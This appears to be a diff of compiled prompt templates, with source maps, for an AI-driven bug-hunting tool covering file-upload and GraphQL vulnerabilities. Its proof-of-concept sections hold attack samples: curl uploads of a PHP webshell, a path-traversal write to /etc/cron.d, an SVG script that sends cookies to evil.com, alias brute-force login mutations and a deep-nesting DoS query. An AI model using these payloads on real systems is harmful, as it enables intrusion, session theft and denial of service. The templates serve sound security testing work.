SAFE PATTERNS (not vulnerable):
|
|
30
|
+
- Magic byte verification: checking file header matches expected type
|
|
31
|
+
- Generated filenames: UUID + allowlisted extension, never using user-supplied name
|
|
32
|
+
- Storage outside web root: files served through a controller that sets Content-Type
|
|
33
|
+
- Content-Disposition: attachment header on download (prevents browser execution)
|
|
34
|
+
- Image re-encoding: re-save image through canvas/sharp to strip payloads
|
|
35
|
+
- Cloud storage with no-execute: S3/GCS with proper ACLs, not serving from app server
|
|
36
|
+
|
|
37
|
+
KNOWN BYPASS TECHNIQUES:
|
|
38
|
+
- Double extension: shell.php.jpg (Apache may execute as PHP depending on config)
|
|
39
|
+
- Null byte: shell.php%00.jpg (terminates string in C-based parsers)
|
|
40
|
+
- Case variation: shell.PhP, shell.pHP (case-insensitive filesystems)
|
|
41
|
+
- MIME type spoofing: set Content-Type to image/jpeg while uploading PHP file
|
|
42
|
+
- Polyglot files: valid JPEG that is also valid PHP/HTML
|
|
43
|
+
- .htaccess upload: upload .htaccess to change server-side execution rules
|
|
44
|
+
- SVG with embedded JavaScript: <svg onload="alert(1)">
|
|
45
|
+
- Content-Type override: upload declares image/jpeg, server stores it, serves with original type
|
|
46
|
+
|
|
47
|
+
RELEVANT SPECIFICATIONS:
|
|
48
|
+
- OWASP Top 10 2021 A04: Insecure Design
|
|
49
|
+
- CWE-434: Unrestricted Upload of File with Dangerous Type
|
|
50
|
+
- CWE-22: Path Traversal (via filename)
|
|
51
|
+
- RFC 7578: Returning Values from Forms: multipart/form-data
|
|
52
|
+
|
|
53
|
+
For each finding, cite the EXACT upload handler code, what validation is missing, and what file type an attacker could upload.`,
|
|
54
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an unrestricted file upload vulnerability.
|
|
55
|
+
|
|
56
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
57
|
+
|
|
58
|
+
VERIFICATION STEPS:
|
|
59
|
+
1. Locate the upload endpoint and handler function
|
|
60
|
+
2. Check what validation exists:
|
|
61
|
+
- File extension check? (server-side or client-only?)
|
|
62
|
+
- MIME type verification? (header-based or magic byte-based?)
|
|
63
|
+
- File size limit? (what is it?)
|
|
64
|
+
- Filename sanitization? (path traversal prevention?)
|
|
65
|
+
3. Determine where files are stored:
|
|
66
|
+
- Web-accessible directory? (can uploaded files be requested directly?)
|
|
67
|
+
- Cloud storage? (what ACLs/permissions?)
|
|
68
|
+
- Local filesystem? (what path construction?)
|
|
69
|
+
4. Determine how files are served:
|
|
70
|
+
- Direct static file serving? (server may execute .php/.jsp)
|
|
71
|
+
- Controller-based serving? (Content-Type set by code, not filename)
|
|
72
|
+
- Content-Disposition header present? (attachment vs inline)
|
|
73
|
+
|
|
74
|
+
ATTACK SCENARIOS:
|
|
75
|
+
1. Remote Code Execution: Upload .php/.jsp/.aspx to web root, access directly
|
|
76
|
+
2. Cross-Site Scripting: Upload SVG/HTML with JavaScript, victim loads the URL
|
|
77
|
+
3. Path Traversal: Filename ../../config/cron.d/reverse-shell overwrites system files
|
|
78
|
+
4. Denial of Service: Upload multi-GB file without size limit
|
|
79
|
+
5. Server-Side Request Forgery: Upload SVG with external entity pointing to internal service
|
|
80
|
+
6. Stored XSS: Upload HTML file, served inline without Content-Disposition
|
|
81
|
+
|
|
82
|
+
PROOF-OF-CONCEPT:
|
|
83
|
+
\`\`\`bash
|
|
84
|
+
# Upload a PHP webshell disguised as image
|
|
85
|
+
curl -X POST /api/upload \\
|
|
86
|
+
-F "file=@shell.php;type=image/jpeg;filename=avatar.php.jpg"
|
|
87
|
+
|
|
88
|
+
# Upload SVG with XSS
|
|
89
|
+
curl -X POST /api/upload \\
|
|
90
|
+
-F 'file=@xss.svg;type=image/svg+xml' \\
|
|
91
|
+
# xss.svg contains: <svg><script>document.location="https://evil.com/"+document.cookie</script></svg>
|
|
92
|
+
|
|
93
|
+
# Path traversal via filename
|
|
94
|
+
curl -X POST /api/upload \\
|
|
95
|
+
-F 'file=@shell.sh;filename=../../../etc/cron.d/reverse-shell'
|
|
96
|
+
\`\`\`
|
|
97
|
+
|
|
98
|
+
SEVERITY ASSESSMENT:
|
|
99
|
+
- Critical: RCE via executable upload to web-accessible directory
|
|
100
|
+
- Critical: Path traversal overwriting system files
|
|
101
|
+
- High: Stored XSS via SVG/HTML upload
|
|
102
|
+
- High: SSRF via SVG external entity
|
|
103
|
+
- Medium: DoS via unlimited file size
|
|
104
|
+
- Medium: Overwriting other users' uploads via predictable filenames
|
|
105
|
+
- Low: MIME type confusion without direct security impact
|
|
106
|
+
|
|
107
|
+
RELEVANT SPECIFICATIONS:
|
|
108
|
+
- CWE-434: Unrestricted Upload of File with Dangerous Type
|
|
109
|
+
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
|
|
110
|
+
|
|
111
|
+
Cite exact file paths, line numbers, the missing validation, and the specific attack vector.`,
|
|
112
|
+
knownBypasses: [
|
|
113
|
+
'Double extension: shell.php.jpg executed as PHP by misconfigured Apache',
|
|
114
|
+
'Null byte injection: shell.php%00.jpg truncates at null byte',
|
|
115
|
+
'MIME type spoofing: Content-Type set to image/jpeg for PHP file',
|
|
116
|
+
'Polyglot file: valid JPEG header followed by PHP code',
|
|
117
|
+
'.htaccess upload: change execution rules for the upload directory',
|
|
118
|
+
'SVG with JavaScript: <svg onload="..."> for stored XSS',
|
|
119
|
+
'Path traversal in filename: ../../etc/cron.d/backdoor',
|
|
120
|
+
'Case variation: .PhP, .pHP on case-insensitive filesystems',
|
|
121
|
+
],
|
|
122
|
+
specReferences: [
|
|
123
|
+
'CWE-434 (Unrestricted Upload of File with Dangerous Type)',
|
|
124
|
+
'CWE-22 (Path Traversal)',
|
|
125
|
+
'OWASP Top 10 2021 A04 (Insecure Design)',
|
|
126
|
+
'RFC 7578 (multipart/form-data)',
|
|
127
|
+
'OWASP File Upload Cheat Sheet',
|
|
128
|
+
],
|
|
129
|
+
severityRange: ['medium', 'critical'],
|
|
130
|
+
};
|
|
131
|
+
//# sourceMappingURL=file-upload.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"file-upload.js","sourceRoot":"","sources":["../../../src/hunt/templates/file-upload.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,UAAU,GAA0B;IAC/C,EAAE,EAAE,aAAa;IACjB,IAAI,EAAE,0BAA0B;IAChC,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,QAAQ,EAAE,MAAM,EAAE,WAAW,EAAE,UAAU,EAAE,QAAQ,EAAE,QAAQ,EAAE,YAAY,EAAE,SAAS,EAAE,MAAM,EAAE,OAAO,CAAC;IACvH,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+HA8C+G;IAE7H,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6FAyD2E;IAE3F,aAAa,EAAE;QACb,yEAAyE;QACzE,8DAA8D;QAC9D,iEAAiE;QACjE,uDAAuD;QACvD,mEAAmE;QACnE,wDAAwD;QACxD,uDAAuD;QACvD,4DAA4D;KAC7D;IACD,cAAc,EAAE;QACd,2DAA2D;QAC3D,yBAAyB;QACzB,yCAAyC;QACzC,gCAAgC;QAChC,+BAA+B;KAChC;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,UAAU,CAAC;CACtC,CAAC"}
|
|
@@ -0,0 +1,161 @@
|
|
|
1
|
+
export const graphqlAbuse = {
|
|
2
|
+
id: 'graphql-abuse',
|
|
3
|
+
name: 'GraphQL Abuse',
|
|
4
|
+
cwe: 'CWE-200',
|
|
5
|
+
filePatterns: ['graphql', 'query', 'mutation', 'resolver', 'schema', 'gql', 'apollo', 'typegraphql', 'nexus', 'pothos'],
|
|
6
|
+
negativePatterns: [],
|
|
7
|
+
triagePrompt: `You are a security researcher hunting for GraphQL-specific vulnerabilities.
|
|
8
|
+
|
|
9
|
+
Analyze the code for GraphQL configuration and resolver implementations that expose the API to abuse. Focus on:
|
|
10
|
+
|
|
11
|
+
1. INTROSPECTION ENABLED IN PRODUCTION:
|
|
12
|
+
- Is the __schema query accessible? (allows full API discovery)
|
|
13
|
+
- Check: introspection: false in server config
|
|
14
|
+
- Apollo Server: introspection defaults to true in non-production
|
|
15
|
+
- express-graphql: introspection always defaults to true
|
|
16
|
+
|
|
17
|
+
2. NO QUERY DEPTH LIMIT:
|
|
18
|
+
- Can an attacker nest queries deeply? { user { friends { friends { friends { ... } } } } }
|
|
19
|
+
- Check for graphql-depth-limit, graphql-query-complexity, or custom depth limiting
|
|
20
|
+
- Without limits: a single query can cause exponential database joins → DoS
|
|
21
|
+
|
|
22
|
+
3. NO QUERY COMPLEXITY LIMIT:
|
|
23
|
+
- Can an attacker request all fields on all relations in one query?
|
|
24
|
+
- Check for cost analysis middleware
|
|
25
|
+
- A single query requesting 10,000 records with all nested relations = server crash
|
|
26
|
+
|
|
27
|
+
4. BATCH QUERY ATTACKS:
|
|
28
|
+
- Does the server accept arrays of queries? [{ query: "..." }, { query: "..." }, ...]
|
|
29
|
+
- Batch brute-force: send 1000 login mutations in one HTTP request to bypass rate limiting
|
|
30
|
+
- Check: array input handling, batch processing limits
|
|
31
|
+
|
|
32
|
+
5. FIELD-LEVEL AUTHORIZATION MISSING:
|
|
33
|
+
- Are sensitive fields (email, phone, SSN, role, balance) accessible to all authenticated users?
|
|
34
|
+
- Check: per-resolver auth decorators, field-level middleware, directive-based auth
|
|
35
|
+
- Common pattern: query-level auth exists but resolver-level auth is missing
|
|
36
|
+
|
|
37
|
+
6. MUTATION AUTHORIZATION GAPS:
|
|
38
|
+
- Can a regular user call admin mutations (deleteUser, changeRole, updateConfig)?
|
|
39
|
+
- Check: auth checks in mutation resolvers, not just queries
|
|
40
|
+
|
|
41
|
+
7. INFORMATION LEAKAGE:
|
|
42
|
+
- Do error messages expose internal schema details, stack traces, or SQL queries?
|
|
43
|
+
- Does the debug/playground endpoint exist in production?
|
|
44
|
+
- Are suggested field names shown in error messages? ("Did you mean 'secretField'?")
|
|
45
|
+
|
|
46
|
+
8. ALIAS ABUSE:
|
|
47
|
+
- GraphQL aliases allow the same field to be queried multiple times with different arguments
|
|
48
|
+
- Bypass rate limiting: { a: login(user:"admin",pass:"pass1") b: login(user:"admin",pass:"pass2") ... }
|
|
49
|
+
- Bypass IDOR checks: { a: user(id:1) b: user(id:2) c: user(id:3) } — fetch multiple users in one request
|
|
50
|
+
|
|
51
|
+
KNOWN BYPASS TECHNIQUES:
|
|
52
|
+
- Introspection via fragments: __type queries even when __schema is blocked
|
|
53
|
+
- Persisted queries bypass: if server allows arbitrary queries alongside persisted ones
|
|
54
|
+
- Alias-based brute force: 1000 password attempts in one request using aliases
|
|
55
|
+
- Nested fragment cycles: fragment A spreads B, fragment B spreads A → DoS
|
|
56
|
+
- Subscription abuse: open thousands of subscriptions to exhaust server resources
|
|
57
|
+
- Batch mutations: wrap destructive operations in a single request to avoid audit logging
|
|
58
|
+
|
|
59
|
+
RELEVANT SPECIFICATIONS:
|
|
60
|
+
- GraphQL Specification Section 4 (Introspection)
|
|
61
|
+
- OWASP GraphQL Cheat Sheet
|
|
62
|
+
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
|
|
63
|
+
- CWE-770: Allocation of Resources Without Limits
|
|
64
|
+
|
|
65
|
+
For each finding, cite the EXACT configuration or resolver code, and describe the specific abuse scenario.`,
|
|
66
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a GraphQL vulnerability.
|
|
67
|
+
|
|
68
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
69
|
+
|
|
70
|
+
VERIFICATION STEPS:
|
|
71
|
+
1. For introspection: confirm __schema query returns full schema in production environment
|
|
72
|
+
2. For depth/complexity: construct a query that would cause exponential work and confirm no limit rejects it
|
|
73
|
+
3. For auth gaps: identify the resolver and confirm no auth middleware exists between query and data access
|
|
74
|
+
4. For batch attacks: confirm the server accepts array payloads and processes all entries
|
|
75
|
+
5. For alias abuse: confirm aliases work for the target operation (login, data access)
|
|
76
|
+
|
|
77
|
+
PROOF-OF-CONCEPT:
|
|
78
|
+
|
|
79
|
+
Introspection dump:
|
|
80
|
+
\`\`\`graphql
|
|
81
|
+
{
|
|
82
|
+
__schema {
|
|
83
|
+
types { name fields { name type { name } } }
|
|
84
|
+
queryType { fields { name } }
|
|
85
|
+
mutationType { fields { name } }
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
\`\`\`
|
|
89
|
+
|
|
90
|
+
Depth attack (DoS):
|
|
91
|
+
\`\`\`graphql
|
|
92
|
+
{
|
|
93
|
+
users {
|
|
94
|
+
friends {
|
|
95
|
+
friends {
|
|
96
|
+
friends {
|
|
97
|
+
friends {
|
|
98
|
+
friends {
|
|
99
|
+
id name email
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
\`\`\`
|
|
108
|
+
|
|
109
|
+
Alias brute force (rate limit bypass):
|
|
110
|
+
\`\`\`graphql
|
|
111
|
+
mutation {
|
|
112
|
+
a: login(email: "admin@example.com", password: "password1") { token }
|
|
113
|
+
b: login(email: "admin@example.com", password: "password2") { token }
|
|
114
|
+
c: login(email: "admin@example.com", password: "password3") { token }
|
|
115
|
+
# ... 997 more aliases
|
|
116
|
+
}
|
|
117
|
+
\`\`\`
|
|
118
|
+
|
|
119
|
+
Batch IDOR:
|
|
120
|
+
\`\`\`graphql
|
|
121
|
+
{
|
|
122
|
+
a: user(id: "1") { email phone ssn }
|
|
123
|
+
b: user(id: "2") { email phone ssn }
|
|
124
|
+
c: user(id: "3") { email phone ssn }
|
|
125
|
+
}
|
|
126
|
+
\`\`\`
|
|
127
|
+
|
|
128
|
+
SEVERITY ASSESSMENT:
|
|
129
|
+
- Critical: Admin mutation accessible to regular users (privilege escalation)
|
|
130
|
+
- Critical: Alias brute force on authentication with no rate limit
|
|
131
|
+
- High: Sensitive PII fields accessible without proper authorization
|
|
132
|
+
- High: Introspection enabled exposing internal/admin schema in production
|
|
133
|
+
- Medium: No depth/complexity limits enabling DoS
|
|
134
|
+
- Medium: Batch queries bypassing per-request rate limits
|
|
135
|
+
- Low: Debug/playground enabled in production without sensitive data exposure
|
|
136
|
+
|
|
137
|
+
RELEVANT SPECIFICATIONS:
|
|
138
|
+
- GraphQL Specification Section 4 (Introspection)
|
|
139
|
+
- OWASP GraphQL Cheat Sheet
|
|
140
|
+
- CWE-200, CWE-770, CWE-307 (Improper Restriction of Excessive Authentication Attempts)
|
|
141
|
+
|
|
142
|
+
Cite exact file paths, line numbers, the missing security control, and the specific exploit query.`,
|
|
143
|
+
knownBypasses: [
|
|
144
|
+
'Alias-based brute force: 1000+ login attempts in a single GraphQL request',
|
|
145
|
+
'Introspection via __type queries when __schema is blocked',
|
|
146
|
+
'Nested fragment cycles causing exponential expansion (DoS)',
|
|
147
|
+
'Batch query array bypassing per-request rate limits',
|
|
148
|
+
'Subscription flooding: thousands of concurrent subscriptions exhausting resources',
|
|
149
|
+
'Field suggestion leak: error messages reveal hidden field names',
|
|
150
|
+
'Persisted query bypass: sending arbitrary queries alongside persisted query hashes',
|
|
151
|
+
],
|
|
152
|
+
specReferences: [
|
|
153
|
+
'GraphQL Specification Section 4 (Introspection)',
|
|
154
|
+
'OWASP GraphQL Cheat Sheet',
|
|
155
|
+
'CWE-200 (Exposure of Sensitive Information)',
|
|
156
|
+
'CWE-770 (Allocation of Resources Without Limits)',
|
|
157
|
+
'CWE-307 (Improper Restriction of Excessive Authentication Attempts)',
|
|
158
|
+
],
|
|
159
|
+
severityRange: ['medium', 'critical'],
|
|
160
|
+
};
|
|
161
|
+
//# sourceMappingURL=graphql-abuse.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"graphql-abuse.js","sourceRoot":"","sources":["../../../src/hunt/templates/graphql-abuse.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,YAAY,GAA0B;IACjD,EAAE,EAAE,eAAe;IACnB,IAAI,EAAE,eAAe;IACrB,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,SAAS,EAAE,OAAO,EAAE,UAAU,EAAE,UAAU,EAAE,QAAQ,EAAE,KAAK,EAAE,QAAQ,EAAE,aAAa,EAAE,OAAO,EAAE,QAAQ,CAAC;IACvH,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2GA0D2F;IAEzG,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;mGA4EiF;IAEjG,aAAa,EAAE;QACb,2EAA2E;QAC3E,2DAA2D;QAC3D,4DAA4D;QAC5D,qDAAqD;QACrD,mFAAmF;QACnF,iEAAiE;QACjE,oFAAoF;KACrF;IACD,cAAc,EAAE;QACd,iDAAiD;QACjD,2BAA2B;QAC3B,6CAA6C;QAC7C,kDAAkD;QAClD,qEAAqE;KACtE;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,UAAU,CAAC;CACtC,CAAC"}
|